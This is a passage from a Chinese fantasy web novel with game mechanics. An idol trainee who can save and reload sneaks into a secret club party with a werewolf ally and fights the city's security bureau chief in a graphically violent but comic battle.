现在朝晖竟然直接闯进来，闹成这样，他都不知道后续该怎么办。
可是，看着那三颗平时指点江山，阴阳怪气的老总，此刻翻着白眼，身躯如死猪般瘫倒在地上……
他心中，生出一种特别的舒爽。
就像是当初听见她敢直闯矿场，只为几百单位的能源。
就像是听说，她为了一个小小的练习生，就敢单枪匹马闯入云端能源杀人，甚至最后还能杀掉两个强大的异能者……
心悸，浑身发热，心跳加速——因为很爽，真的很爽。
因为自己做不到的事，她敢想敢做，还做得到！
因为她像泥头车一样轰隆隆地就把事情干了，他来不及思考就被绑上“贼船”，因“成熟”而带来的犹豫不决，还来不及出现，就消失掉了。
因为她在反抗，而他帮上了忙，就好像……他也反抗了一般。
卫文谨没有意识到，他已经不完全是因为朝晖的威胁才帮助她的了。
他强迫自己冷静下来，大脑飞速运转。
“好了，你不是跟姜局长关系好吗？先打电话给她。56层的监控平时不开，这是我们的机会。你什么都不要说，等律师来就好。”卫文谨立刻条理清晰地给她分析起来。
“没事，我存档了。”朝晖说，“你先说说，我有没有办法在不惊动他的情况下偷到这个手机？”
“……都现在这样了你还惊不惊动？直接拿走吧，看能不能让律师做做文章。”
“呃，我是说假如，假如我没闯进来，有办法吗？”朝晖问。
“假如……？”他有些奇怪。
假如有什么意义？
其实卫文谨已经发现了，朝晖经常会有一些“未卜先知”般的不合理行为。
这是因为，在朝晖目前游玩的时间线中，她都处于“最后一次存档”。
前面的那些存档，自然是不存在于npc的记忆当中的。
朝晖对于以前存档经历过的事，当然是一清二楚了，也就因此表现得好像是有预知能力一般。
但或许是距离朝晖太近，或许总是参与到朝晖的无数次读档中，卫文谨偶尔会产生一种“不真实感”，或者“幻觉”。
在朝晖看来，是由于“防刷bug”机制，卫文谨偶尔会表现得与上个存档有些许不同。
但在卫文谨看来，这也是朝晖能力的一部分。
因此，他非常肯定，朝晖绝对还有一种类似于预知的特殊异能，并且会对周围的人产生一定影响。
在这样的认知之下，听见她这句话，他的瞳孔猛然一缩。
假如这一切没有发生过？
如果一个人做事，看似不顾任何后果，却又总能成功，会不会是因为……
“时间……倒流？”卫文谨脸色苍白。
他自己说出这个词，语气中都满是不可置信。
真的会有如此可怕的异能吗？
这已经几乎不能称得上是异能的范畴了……
“诶？”朝晖一愣。
不是因为卫文谨的话，而是系统弹出了一个略显眼熟的窗口。
【已触发精英级·紧急任务！】
【紧急任务·泄密者：
他知道了太多秘密，而此时此刻，他产生了背叛的念头。
作为正义的偶像……嘶嘶……异能者，保护自身安全也是您的责任。
击败他，获得奖励：魔法少女卡牌x1。
请注意：若重新读档，您可能不会再次触发该任务。
进度：0/1。】
她记得，之前与光头女boss对战的时候，也弹出了类似的紧急任务。
奖励同样是一张魔法少女卡牌。
经纪人想背叛她？
可是她能读档，她不惧怕任何背叛。
关键是，她没觉得经纪人有这样的想法啊。
他不是一直兢兢业业在帮她忙么？她还想着等寰天垮了，就把他挖过来作为自己的专属经纪人，以后正好可以帮忙带她的女团。
而且……
朝晖总觉得哪里怪怪的，她轻轻扫了卫文谨一眼。
卫文谨愣住了。
那是一种看着死物般的眼神，也像是野兽在估量猎物的价值。
卫文谨的大脑飞速旋转，但他还没来得及说话，朝晖竟然已经读档。
这次她直接回到了训练营内，压根没有请假出去的时候。她这一趟本来就是去探情报的。
系统十分惊讶，“玩家，您……”
您不要奖励了吗？
“你们怎么会发布一个任务让我杀掉男主呢？”朝晖眯着眼睛，“而且到了生死关头，他用出异能，我还真不一定能在一个周目内就杀了他。【电击治疗手木仓】的复制能力只有75%，他却是原版。”
“……”
玩家的冷静几乎令系统惧怕。
“奖励看似诱人，但我的手木仓存着他的能力，暂时也够用了，也不是非得要把他换成卡牌不可。”
“何况就算我不读档，刚才那种状况，我肯定是会去蹲橘子的。”
“你们该不会……”
系统不存在的心脏凉掉了半截。
完了。
她，她是不是猜到了？
是我太大意了，对不起，主系统……
“——该不会真要把这游戏改成杀手无双了吧？倒也不必一上来就杀夫……呃，杀男主证道啊！其实经纪人作为员工还是很不错的，也不是什么大坏蛋，真没必要吧？”
朝晖唧唧歪歪嚷嚷着，“就不能改成杀那仨老板嘛？杀他们给我奖励也可以吧！那才是大boss好不好！”
“……”
朝晖完全没有想过这不是游戏。
当一个人失去了痛觉，不需要睡觉吃饭，拥有超能力，还能随时存档读档，用出各种不科学的技能……
这个世界，在她看来就是一款游戏而已。
叽歪了一会儿，见系统没搭理她，朝晖怒而投诉，然后才抽出时间打发还愣在原地的诸华清。
“照片你收着吧，回头我来解决就好，就下周。”朝晖说。
下个周五的下午，是她和姜遥约定好一起去封锁区的时间。
而周五晚，赵总恰好会举行一次“酒会”。
75.寰天娱乐（32-33）
（32）
时间很快过了一周。
在玩家看来，这属于活动之间的休息期，每天也就是肝一肝日常（练习），刷一刷经验，按部就班地做主线拍摄任务等等。
主线任务在朝晖眼里已经完全沦为“升级道具”，内容是什么，她已经完全不在乎了。
要不是身上还背负着公司任务，要不是主线任务给的经验值比较多，她早就跑啦！
本周的播放内容是小剧场，是被淘汰的那些个选手们与留下来的选手聚餐聊天，大家可以随意表演节目，抒发自己的情感，目的是营造出一种催泪的氛围。
下周则是【二公舞台】的选曲和播出。
朝晖既没有催别人泪，也没有被催泪，呆呆坐在原地。
总导演见状，哪怕是知道朝晖有“白鸽电子”的关系，却也实在没办法给她加镜头啊！
没办法，他只能精挑细选一个角度，让朝晖那面无表情的半张脸硬生生多出一丝悲伤，让她眼中呆滞的光芒在背景衬托下仿佛强忍住的泪水。
这节目一发出去，朝晖粉丝又炸了。
众所周知，粉丝，特别是一些女团男团的粉丝，不管自己喜欢的那个人是团里的主唱、主舞等实力派，还是只有脸蛋的酱油党；也不管他们是主捧C位还是镶边衬托，是外向开朗还是内敛低调。
她们，总能找出各种各样的角度，来论证自家姐姐哥哥才是那个被队友排挤虐待/被公司不公对待的倒霉蛋。
简而言之，没惨，也得找出一个角度来卖惨；有惨，那更是要大书特书。
公司太坏了！
节目组太坏了！
队友太坏了！
朝晖作为现在节目组流量的扛把子，人气投票第二名，竟然一整期只有零星一两个镜头！
加起来，甚至还不超过半分钟。
裴韫都有一分多钟的镜头呢。
之前，朝晖和裴韫的互动吸引了一些cp粉，结果节目才没播几期，两方粉丝就因为镜头量开撕。
cp粉夹在中间左右为难，试图拉架吧，被双方各自一通喷。
朝晖的粉丝林月：……
这期的重点，不是给要离开的选手们一些表现机会，催催泪吗！
裴韫也是因为偶尔和周小满混在一起，所以蹭到了隔壁403几位选手的镜头。
朝晖呢？
朝晖的“朋友们”全是前50，哪怕之前不是的，跟她一组被她带了之后，也飞升了。
没错，她一公舞台的队友，以及之前《霹雳雨》表演组的队友，全部晋级前50。
这是因为，许多路人闻讯而来看了朝晖的舞台，并没有观看完整节目。
人的喜好各不相同，大家看见了表演组内合自己心意的选手，也不吝于投上一票。
在网上一堆乱糟糟的闹剧当中，朝晖终于等来了第二周的周五。
姜遥提前为朝晖请了假，为期三天，理由是参与安全局异能者培训。
工作人员十分为难：“周五有一次重要拍摄……”
“能回来补拍镜头吗？”
“不太方便。”
工作人员详细地解释着，“是所有人一同出镜的镜头。”
本周五会进行二公选曲以及排练的拍摄。
二公的比赛形式是【小组对抗】，每首歌拥有A、B各一个小组，由现场观众投票选出胜利的小组，胜者的小组组员可以增加公开投票的票数，提升排名。
和一公舞台不同，它更像是团队赛，要求组员们精诚合作，不能仅仅表现自己，因此，队友一般越强越好。
50名选手会在五首歌当中选择，每首歌两组，每组五人。
为了让比赛多一些悬念，节目组采取了盲选政策。
选手们按照排名，一个个进入房间内。后来者不会知道前面的选手选了哪首歌。
满员的歌曲房间，门口会挂牌示意。
每首歌都满十名成员后，再随机抽签分为AB小组。
当然了，节目组会暗中操控，尽量保证他们想要的结果，总体上，也尽量让AB小组的实力、人气差距不要太大。
本周要拍摄的就是选组环节，随后一整周用于练习，下周播出。因此，这个环节是非常重要的，也不能延期拍摄。
“……”姜遥也有点无奈。
这不太好办啊！
没想到朝晖听闻此事，竟然说：“就说我之前练习太辛苦，感冒了，休息一天，然后选曲的话我选其他人剩下的那首就好了。”
工作人员：……
虽然你的确练习很辛苦，可就你这生龙活虎的模样，谁信啊！
但这份提议，乍一听又粗糙又离谱，仔细想想却也很有可行性。
一番讨论后，节目组为朝晖拍摄了“躺在床上裹紧被子”的镜头，到时候就这样糊弄观众。
然后朝晖便被姜遥的私人轿车一溜烟拉走。
“姜姐。”朝晖乐呵呵打招呼。
“你要带的人呢？”姜遥说。
“他应该到白马会所附近了。”
本次出行，朝晖携带着电击治疗手木仓、卫生纸、以及从伊尔莎那边暂时回收的魔法少女卡牌。
手木仓存储着经纪人的触手异能，但只有一次使用机会；它一共有六发子弹，每隔十分钟恢复一发。
卫生纸可以用来临时偷窃，魔法少女卡牌存储着光头女boss的“机械化”异能。
除此之外，她还带着药品和能源，前者让李长庚背着，后者放在她的创作界面里存着。
如果需要，随时可以取用。
姜遥一边开车，一边想起几天前朝晖对她说的话。
“为什么让我提前来接你？”
朝晖语气非常地老实：“你带我去白马会所吧。”
姜遥：“……”
姜遥：“……你说什么？”
白马会所，乃洛川市一家十分著名的女性向会所，尊贵奢华，私密性好。
“哎呀，我还没有去过呢！作为我的上司，你就不带我去见见世面吗？”朝晖竟然开始撒娇，“你不是说，安全局的异能者大部队会提前集合在封锁区外，但要等到过零点才会进入吗？我们可以在零点之前赶到的。”
朝晖要的，只是“节目组看见姜遥把她接走”这一事实。
一口大黑锅将会被扣在姜遥脑袋上。
但是朝晖觉得……你是大佬嘛！
大佬，不就是帮玩家忙的吗？
不能帮忙，为什么要投靠她呢？
而且，如果她猜得没错，姜遥在本次行动中也会受益。
其实她觉得姜遥同意的概率很小，如果姜遥不答应，她也有别的计划。
果然姜遥说：“不行。”
朝晖点点头，语气一变：“那我自己去了！”
“！？”
姜遥冷汗瞬间下来了。
或许是由于朝晖身上有着“能让她说的话被轻微幅度合理化”的特效，以及一定的魅力值。
又或许是，姜遥实在招架不住朝晖这种撒娇威胁无缝转换的状态。
想象一下让朝晖自己去的后果……
姜副局长屈服了。
虽然知道朝晖一肚子坏水，但比起让她自己去，还不如跟着她去，看着她。
这就是和之前余烬如出一辙的心态。
算了，白马会所，也不是不能去一趟……
悲哀的是，洛川市虽然明令禁止风俗产业，但私下打擦边球的人非常多，甚至公务员去消费也是比较常见的，只不过要低调行事。
相较于其他场所，白马会所还算较为正经，一般就是夫人们去喝喝酒，打打牌，喊几个帅气男模陪聊什么的。至于其他业务嘛，暂且不提。
为了自己的名誉，姜遥预订了隐私性最好的顶级包厢套餐。
这回，朝晖没有去大大咧咧地“探索场景”，而是跟着姜遥一起，低调地通过地下车库的电梯，直接进入高层包厢内。
充满氛围感的暖黄灯光下，是宫殿般装修奢华的白色包间。
一排盘靓条顺、穿西装背心戴兔耳朵的男模走进来，姜遥和朝晖满脸镇定，反而是被朝晖强行拽来的李长庚是那么的瑟瑟发抖，满脸通红。
客人自带男伴比较少见，但也不是没有。
男模们巧笑倩兮，毫不在意，卖力地干着他们的主力事业：陪酒。
李长庚浑身僵硬，只能用可怜巴巴的眼神惶然无助地望着朝晖，满脸写着“我们不是来打架的吗”。
朝晖犀利的目光扫过他们，嗯，虽然长得没有男主们好看，但也各有优点。
这个五官立体，那个腿长，还有个屁股翘……算了，还是别看了，她是来办正事的。
“来玩骰子吧！”朝晖提议，“输了喝酒，小李你过来坐我旁边。”
大家从善如流，开始摇骰子。
白马会所的小哥哥们，都比较擅长说话的艺术，尤其能来顶级包厢干活的，更是其中翘楚。
他们不会让话掉在地上，也不会让场子冷下来，很快，抱着“陪小辈见世面”的姜遥也放开了些，酒一杯杯下肚。
朝晖认为未成年不能喝酒，未成年npc也不能喝，所以把小李的所有酒全部挡掉。当然没有人会不长眼去阻止她。
不到一小时过去，包厢里除了朝晖和李长庚，所有人全趴下了。
“……”
李长庚满脸呆滞地注视着朝晖，以及她身边的累累战绩———无数空酒瓶。
“嗝……没啥感觉呀？”朝晖摇摇脑袋。
为了保险，她又在男模们的后脑勺上力度适宜地各敲一下，“走吧，我们争取半个小时搞定。”
“好。”
朝晖和李长庚简单说过她的计划。
就是趁他们喝趴下，以“去浴室整理状态”的理由离开。
朝晖看了一眼时间，周五晚九点三十五分。赵总的“酒会”应当已经开始一个半个小时了。
人都差不多玩嗨了吧？
白马会所的顶层奢华包间，没有监控，自带比一般人家客厅还大的豪华浴室。
二人从浴室的通风窗翻出去，各展神通，沿着墙壁管道轻松爬到顶层露台。
露台上在办party，好在他们翻上来的位置十分隐蔽，party上又吵吵闹闹人来人往，他们弯着腰，绕了一段从另一面翻下去。
这是朝晖利用存档能力，提前探好的路线，成功率非常高。
来到地面之后，他们匆匆绕过两栋楼，这边一大片都是会所夜店，打擦边球的常客。周五晚上灯红酒绿，热闹非凡。
但他们最终停留在一栋没有挂牌子的楼房，外表看着十分不起眼。
这就是赵总举行“酒会”的地方，一家更为高端的私人会所，里面的奢华场景，超乎人之想象。它的背后势力便是寰天文化。
比起它，白马会所都只能算作清汤小菜。
月光在闪耀的人间灯火之上显得如此暗淡，李长庚面色潮红，呼吸急促，状态明显不对劲。
“再忍一忍，等会儿，我们就装作狼型污染物，大杀特杀！”
朝晖拍拍他的脑袋，找到她的老朋友下水管道口，带着李长庚钻进去。
（33）
论爬城市下水管道的经验，整座洛川市除了管道修理工，朝晖自认寻不出对手。
这条路线，也是她精心挑选的。
白马会所距离赵总的私人会所不远，经过三个周目的实验，从包厢的浴室直接转移到赵总所在的酒会大厅厕所，花费的时间不会超过10分钟。
最惊喜的是，李长庚经过两个星期高质量肉蛋奶的调理，对月圆之夜的抵抗力，有了些许提高。
众所周知，女性朋友们经常会有痛经的苦恼，但大家也发现，似乎欧/美一些发达国家的女性，出现此类困扰的情况相对较少。
痛经可能是原发性的，与激素有关；也可能是继发性的，大都跟妇科病相关。
大部分人是前者。
如果从小多吃高质量蛋白质，平时的饮食习惯也以此为主，把身体养得健康强壮，痛经可能就会没那么严重。
朝晖觉得李长庚可能也是类似的道理，饮食条件一提升，身体素质的增强是立竿见影的。
总之，小李能够支撑着跟她一起潜入，那么事情就好办了。
“虽然能变形成动物的异能较为常见，但是如果是动物+污染物呢？而且我也不需要做得太缜密，只要没有留下铁证，嘴上能糊弄过去就行了。”朝晖心道。
出于某种原因，这里的下水管道口没有安装任何警报器。
朝晖先从大楼外面，沿着管道潜入一楼的大排水口附近，这里黑灯瞎火，不远处就有通风口。
熟练地撬开通风口，她先钻入，李长庚在后面轻手轻脚地把盖子盖回去。
沿着四通八达的通风口管道，很快他们便爬到了酒会所在的大厅附近的厕所。
这里的厕所隔间都做得跟包厢一样，而且不分男女。二人从天花板上爬下来，把通风口盖子装回去，简单清理周围和身上的痕迹。
——他俩身上现在臭不可闻，全是下水管道内的污水。
可能有人会疑惑，为什么这么容易就能潜入？
那是因为朝晖有读档前的经验作为底气。
在这种地方，如果没有内鬼通风报信，泄露情报，第一次来的话，不熟悉地形、不熟悉内部巡逻人员的路线，很容易就暴露了。
就像在游戏里打比较难的boss，第一遍一般都是死。回头查查攻略，多死几次，熟悉了boss的技能、攻击方式，不就稳稳拿下了吗？
这其实才是玩家最大的优势。
朝晖看了眼时间，正好九点四十五分。
“准备好了吗？你把外套和裤子脱下来呀，不然一会儿回去穿什么？”朝晖说。
李长庚：……
眼见朝晖刷刷把衣服脱好，藏在马桶旁边，他也只好照做。
朝晖对自己毫不客气地开枪，随后用触手卷好药品、魔法少女卡牌、卫生纸三个道具。人类的上半身上，左手持【电击治疗手木仓】，右手拿着她之前给李长庚的普通手木仓。
李长庚抖抖身子，下一秒，已变成一只毛发湿哒哒沾满污水的大黑狼，除了体型巨大之外，一点儿也不威武霸气。
好在毛还是挺长的。
“速度要快，发出点动静也没事，这隔音很好。主要目标是那个会发射武器的，记住了吗？”朝晖说。
“呜———”
李长庚发出狗叫似的呜咽声。
他在努力地对抗自己狼嚎的冲动。
朝晖光明正大骑着狗，把自己的上半身埋在毛发里，长满眼球的触手像花朵一样绽放，二人乍眼看上去就像一只狼头、章鱼身的怪物。
也正巧，一位客人满身酒气，搂着一名女郎推门而入。
他还没来得及反应，血花飞溅，李长庚咬掉了他的脑袋。
朝晖则十分熟练地用触手敲晕了女郎，甩到一边。
闻到血液的味道，狼如灯泡一般大的眼睛开始发红。
他们破门而出！
酒会大厅里一片酒池肉林，甚至有些很恶心的场景。
李长庚觉得大脑不是很清醒，他产生了一种强烈的冲动，看着月亮，向着那个方向奔跑，直到，直到……
“框！”
朝晖猛敲他脑袋。
在40点力量加持下，不清醒的大脑，瞬间就被治好了！
他记起朝晖的嘱咐：往穿西装的人身上踩，踩死没事。尽量避开穿着暴露的那些人。至于要杀谁，她来杀。最后，就是小心一个会发射武器的人。
什么叫会发射武器的人？那是一种异能吗？
她是怎么知道这些情报的？
不管了，这儿就有个穿西装的，先踩吧！
这一切都发生在一瞬间，与会者们用被酒精麻痹的大脑慢慢转过头，就看见一个浑身湿哒哒、毛发纠缠、散发着恶臭味的巨大黑色怪物从厕所冲出，背后长满了遍布眼珠的触手，甚至还有人类的肢体（朝晖的胳膊）……
那些黄澄澄的横瞳眼珠咕噜噜转动着，满是兴奋！
“……噗哧！”
触手捅穿一个人的胸膛。
他是万世娱乐的一位老总。
“喀嚓——”
怪物把一个人的上半身踩成泥了，黏糊糊的内脏碎片和血液四处喷溅。
他是花田娱乐的一位经纪人。
“哐哐哐哐哐……”一堆女郎被甩飞，虽然摔得浑身疼痛、身上有不少擦伤淤青，但好歹没死。
眨眼间，整个酒会上三四十号人已经倒下一半。
“啊啊啊啊啊啊！！！”
许多人尖叫起来。
门外的保镖连忙赶来，但他们只是普通人，就像是打boss之前遇到的小怪一样，被朝晖横扫而过，统统杀掉。
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他们手中有枪，但朝晖有回血药啊！
她用触手罩住李长庚头部喉咙等几个要害部位，便骑着狼、顶着子弹，像骑士一样飞奔过去，全部撞飞。
*
直到此时，与会的客人当中，才有一人缓缓站起来。
他的外表看起来，就是一名五十岁左右的壮年男性，没有任何特殊之处。
他身上，也没有散发出任何异能者的波动，哪怕是去安全局使用最先进的仪器测试，得到的结果也只会是“普通人”。
然而他抬起手，长枪、大炮、冷兵器、热武器……各式各样的奇妙武器竟然凭空出现在半空，全部对准了怪物的方向，黑黢黢，带着凛冽冰凉的杀意！
狼瞳孔一缩，冲势一缓，被朝晖揪着耳朵狠拉一下，才继续“踩人”。
朝晖此刻已然热血沸腾。
太，太帅了呀！！！
“这个异能我一定要得到！！！”上周目死之前，她是这么怒吼的。
就算系统不给她新任务做，不给她送新卡牌，哪怕丢掉光头女boss的异能，她也要这个新的！
即使“机械化”很好用。
没办法，强是一时的，可帅，才是永恒的呀！
那人竟然还认识她。
仔仔细细辨认一番，他语气淡淡道：“朝晖？”
朝晖能变成“污染物”，有些人是知道的。
比如白皇后。
也比如眼前这位。
安全局局长，秦空山。
朝晖从赵总的“名单”內看见这个名字时，下意识觉得眼熟。
回想之后才发觉，是她此前怀疑安全局有内鬼，于是上网搜索过洛川市安全局的资料。
神龙不见首尾，把事情全部推给副局长去做的，那位安全局局长，就叫做秦空山。
她问过姜遥，姜遥说秦空山是个普通人，从来没有用过异能，也没有任何特殊之处。
所以朝晖第一次来就大意了，没有闪，瞬间就被他的“万箭齐发”给秒了。
他不是普通的异能者。
没猜错的话……他，才是双异能的拥有者。
其中一个，就是“隐匿”的能力，可以隐藏住自己的异能者波动。
另外一个，则是眼前这个超级无敌帅气的操控武器。
朝晖觉得姜遥没必要骗她，她可能真的不知道自家局长有异能。
这位局长把自己的能力隐藏得如此之好，现在却公然用出异能，想必，他是不打算让在场的其他任何一个人活下去了。
“嗨，局长。”她抬起脑袋，露出一个笑容。
秦空山附近，寰天文化的三位老总抱着头，动也不敢动。
更惨的是他们身边明显年纪不大的几个漂亮女孩。
周围一片血肉横飞，眼前是长着人脑袋的怪物，旁边是非常不科学的漂浮武器。其中一个聪明的，干脆白眼一翻躺在地上装晕。
看见他们，朝晖心道，怪不得当初安全局直接把她推荐到寰天文化签约，原来他们之间还有些关系。
“你到底是什么人？”
秦空山的表情语气还是淡淡的，仿佛什么都不会引起他的情绪波动。
朝晖也很好奇，“你对我不感兴趣吗？”
她现在非常肯定，封锁区那个关着被污染异能者的基地，肯定少不了这位局长的参与。
他知道朝晖的底细，又私下研究这种东西，那么按理说，他不可能对朝晖不感兴趣。
秦空山却扯了扯嘴角，还真跟她聊起来，“呵呵，如果是以前的我，恐怕会对你很感兴趣。”
“现在吗，我只想好好享乐……看见你们年轻人这一无所知的模样，有时候，我也挺羡慕的。”
“倒是你，你来这里做什么，你们公司老板还在这呢，多不像话。”
他拍了拍赵总的肩膀，微微笑起来，差点没把赵总吓尿。
在一片尸体横陈血肉模糊的地方，平淡地说出这样的话，有时候，比单纯的恐怖怪物还要吓人。
朝晖没觉得吓人，只觉不爽，“最烦你这种一口一个‘你们年轻人’的人了。咋的，你又知道什么别人不知道的小秘密啦？比别人多会一点东西，就忍不住要开始当别人爹啦？”
秦空山：“……”
然而，他被朝晖刺了一顿，竟然丝毫不生气，只是无奈地摇摇头，用那种高高在上、怜悯的眼神看着她。
仿佛在用眼神说，我不屑于跟你计较。
boss还敢嘲讽玩家！
是可忍孰不可忍！
朝晖已经把三个档存满，遇见任何情况都能随时回到最合适的时间再来亿次，哪里会怕他。
“上啊狗子！咬他！”
她忽然一个翻滚，坐在了李长庚背上。
从她身上长出的触手纷纷脱落，不甘地掉落在地，眼睛闭合。
原来，她抽空让一片卫生纸贴在了魔法少女卡牌之上，从触手异能切换为“机械化”！
恐怖的身体强化，加上李长庚狼形态极强的身体素质，他们如离弦之箭一般闪身至局长身边。
“砰！”
一颗炸弹爆炸，巨大的气流将朝晖和李长庚吹得不住翻滚，哐当两声撞在墙上，一时间动弹不得，
始作俑者却丝毫不受影响。
不对……
秦空山的表情，终于有了变化。
他的身体控制不住地颤抖起来，手也在不停地挥舞，仿佛空气中有蚊子一般，不停左右挥打着。
空中漂浮着的武器，也如雪花般消融。
是卫生纸的效果！
朝晖近身不是为了打他，而是趁其不备，贴一张卫生纸。只是没想到，偷窃是有几率的，但她一次便成功了。
她已经发现了，若能近身，卫生纸比手木仓更加隐蔽、好用，是偷袭的不二选择。
现在，秦空山用不出异能了，这会持续整整8秒。而在这8秒内，朝晖能获得100%的复制效果！
下一刻，她开启【狂战士】加成！
力量、耐力加成100%，智力减少100%，持续时间8秒。
朝晖的智力值是5，减了和没减一样。
这是她第一次偷到他的能力，就算去使用也不会很熟练，所以她没有犹豫，全靠肉身，80点力量一拳挥舞下去，甚至带有音爆！
真打中了身躯，那秦空山肯定会被秒杀。
异能者身体素质会有一定提升，但秦空山不是强化系，扛不住这一下。
然而他显然受过各种训练，朝晖此前被击飞，离他也有一定距离，这给了他一点反应时间。
他竟然勉强扛住了卫生纸的硬控，千钧一发之际，抬起胳膊挡在身前。
“轰！”
秦空山被轰飞了，整只左臂几乎化为齑粉，半块完好的手掌掉在地上。
他勉强蜷缩起身躯，侧身狠狠撞到墙上，一口血吐出来，痛呼一声：“啊！”
“啊？”
这还不能眩晕他？
他的血条浮现在头顶，朝晖定睛一瞧，竟然还剩一半。
这老登，不愧是boss！
8秒时间，眨眼即逝，朝晖只来得及勉强捏出一个炸弹投向他，就不得不开始走位。
结果由于她捏得太烂，炸弹半空就炸了，压根没飞到敌人面前。
秦空山对自己异能的掌控极为恐怖。
而这种操控性强的异能，本就比光头女boss那样简单粗暴的强化系更难上手，上限也更高。
一旦他拿回异能，再想杀他就不容易了。
但这时候他已经受了重伤，而朝晖刚刚嗑过回血药，此刻状态全满。
有机会。
她一边后撤，一边强行操控异能，在半空中凝聚出一炳长得像长枪的尖头金属武器。
她刚刚发现一件不太妙的事情。
这操控武器，似乎是要知晓武器的内部构造和原理，才更容易成功。
冷兵器简单一些，炸弹也不太难，但是枪械大炮……
玩家想哭。这东西她哪会啊。
只能是先用那把“长枪”试试看了！
歪七扭八的长枪朝着秦空山笔直地飞过去，然而他已经恢复了能力，身体也不再受卫生纸影响而颤抖。
他咬紧嘴唇，用一颗小炸弹放在伤口处，灼伤止血，又凝聚出一面盾牌，挡住了朝晖不太熟练的长枪。
下一秒，十几把冷兵器武器浮现而出，向着朝晖飞来。
76.寰天娱乐（34）
朝晖现在拥有的是局长的异能，她给它起名为“操控武器”。
这个异能并不像是“机械化”那样，能增加身体强度和速度，所以朝晖只能以周围的沙发、桌台为掩护，狼狈地上蹿下跳。
她原本特别想要偷到这个看起来很厉害的异能去试一试，可它似乎极难操纵，以至于她根本无法与boss抗衡。
好在局长被重伤后，短时间内似乎也没有精力去操控太强大的武器，只是使用冷兵器。
但即便如此，它们的速度也是极快，哪怕朝晖已有心理准备，还是被两根箭、一柄剑插在身上。
就这么一下，她足足掉了70滴血！
“我去！这boss伤害不对劲吧！系统，你们确定伤害数值没有问题？”朝晖怒吼。
她现在的血量，不过100出头而已！
系统不理她，她只得躲在沙发后面，捞出回血药磕了一口，顺便躲闪接下来的一波攻击。
由于触手自带掉血debuff，她为了恢复满血，已经磕了不少。
这些药物，都是她拜托经纪人在药店买来的非处方药，疗效不是很好。吃一口，也就回复那么几滴血。
不过，本游戏没有喝回血药的cd，不会出现吃了一次，不得不等几分钟才能再吃一次的情况。所以她只要胡吃海塞即可。
但这样下去，药物的消耗速度太快，已经不剩下多少了。
眼见又是一波“万箭齐发”到来，朝晖只得模仿伏地魔，趴倒在地上，扯过旁边一具绿油油的倒霉蛋尸体作掩护。
她从某个沙发后探出半个脑袋，恰好觑见李长庚扑向boss。
原来，朝晖正面吸引注意力的同时，李长庚已经匍匐在地，从侧后方接近了局长。
“嗷！”
他一个蹬腿飞扑，闪现上前，血盆大口冲着boss的脑袋咬下！
boss并未闪躲，而是通过制作出各种让人眼花缭乱的武器来应对。
一种朝晖不认识的长管武器，一炮轰出，李长庚的攻势一滞。下一秒，秒杀朝晖的那把重机枪出现了，砰砰砰砰砰……恐怖而密集的射击声，李长庚来不及躲开，只得微微扭转身体，一瞬间就被击中左前腿。
那条腿就像被绞肉机打过一样，直接废了，他惨嚎一声，不得不扭身躲闪。
朝晖也随手搓出各式各样乱七八糟的武器丢过去，不管有没有用，主打一个火力掩护。
她本人则弯下腰，很快来到赵总所在的位置。
赵总深灰色的西装裤本来就没穿好，此刻还一片湿，朝晖嫌弃地看了一眼，发现他手上握着一支手机。
正是她此前在他办公室找到的那个备用手机。
“你报警了吗？”她问。
赵总没有反抗能力，她直接把手机拿过来，发现他竟然没有报警。
跟朝晖想的一样。
哪怕到这种时候，他都不敢报警，肯定是畏惧于安全局局长秦空山的权势。
安全局和警察局（公安系统）并不算是一个系统，安全局主要处理“异常事件”。
普通人犯法犯事，不归他们管辖。
朝晖拿过手机后，全然无视赵总的痛哭求饶，单手扭断他的脖子。
高压泵出的血液一柱冲天，天花板上全是绿色的血点，随后血水从断骨的缝隙处喷洒。
像花园里断掉的水管。
不知不觉，她从光头女boss那儿学来了这个习惯。扭脖子，嘎嘣脆，手感挺好，甚至有点上瘾。
干掉赵总，朝晖继续观望战场，趁李长庚扛住压力，抓紧时间思考。
堂堂局长，就没有自己的其他小弟了？
现在已经过了至少三四分钟，除了门口那些普通人保镖，还没有“援军”赶来。
她想要在本周目试探出boss的所有技能——不管是召唤小怪，还是狂暴变身，有了心理准备之后，下次再来就能直接干掉他了。
老是回档，玩家也会烦的嘛。
这位局长肉身并不是很强悍，竟然不召唤小怪助阵。他就自负到如此境界，觉得真不会死了？
或许，他的异能实在太强大，再加上召唤能力，就太过于超模。
没想到游戏系统还是会搞平衡的嘛。
朝晖确认了这一点，也就对接下来的行动有了一定的计划。
那边，李长庚悍不畏死，哪怕拼着受重伤，也要狠狠拖住秦空山！
他记得朝晖跟他说过，死也不怕。
“我死之后，你会照顾好姐姐？”李长庚脑回路歪了。
朝晖表示：“我有一种神奇的魔法，不会让你死的，总之你把他拖住就行。”
因此，李长庚就傻傻地听了她的话。
可他现在化为狼形态，又有“月圆之夜”buff加身，越是受伤，反而越激发了本能中的凶性，彰显出S+级异能的强悍之处！
力量、速度全方位提升的同时，肌肉蠕动，身上巨大的伤势缓缓愈合。
一头狼和一大堆武器周旋，竟勉强打成平手。
可朝晖知道，小弟撑不了太久，他的愈合是依靠透支自己生命力作为代价的。
而局长boss，甚至没有使出全力。
不愧是boss，断了一臂，还能与S级异能的男主打成如此局面。当然，也是因为这位boss的异能杀伤力大太大了，且他操控得十分娴熟。
“他没有用大炮，是不是也考虑到了不能把场景破坏得太严重？”朝晖暗道。
上个周目，对方也只是把大炮召唤出来撑场子，真正秒杀她的，是机枪打出的巨量子弹，直接把她射成了蜂窝煤。
要是一炮轰过去，不管是她还是李长庚，估计都成碎块了，哪里还能继续周旋。
恐怕这也是boss的弱点之一，也就是他还有所顾虑，不想把事情闹得太大。
而且，这次的boss战场地，可不像是上次那般干净。
朝晖不想杀无辜之人，不然后续闹进局子了，不好甩锅。
然而这时候李长庚再次被击退，伤势太重，一时间动弹不得。
“躲一下躲一下！”朝晖忙喊。
虽然小弟死了她能回档，可现在还没必要，boss的狂暴状态都没打出来呢！
听见她的喊声，小弟还没动作，boss倒是被吸引了仇恨，一眨眼又是万箭齐发过来了。
“哎呀你等等，干嘛打打杀杀的呀！局长，怎么说我还算你的员工呢，有话不能好好说？”朝晖连忙去躲，手上不忘继续搓技能，幻想着能弄出一面盾牌什么的挡挡伤害。
不过效果不是很好，盾牌出现了，但只有巴掌那么大，瞬间被箭支击碎。
一下子她又被打掉了80滴血，血条哗啦啦往下掉，直接见红了！
“局长！局长我是你们局里自己人！我是小朝啊！”朝晖连忙边喝药边哭诉。
秦空山：“……”
他本来稳稳的心态，因受伤而略微愤怒，此刻又多了种无语。
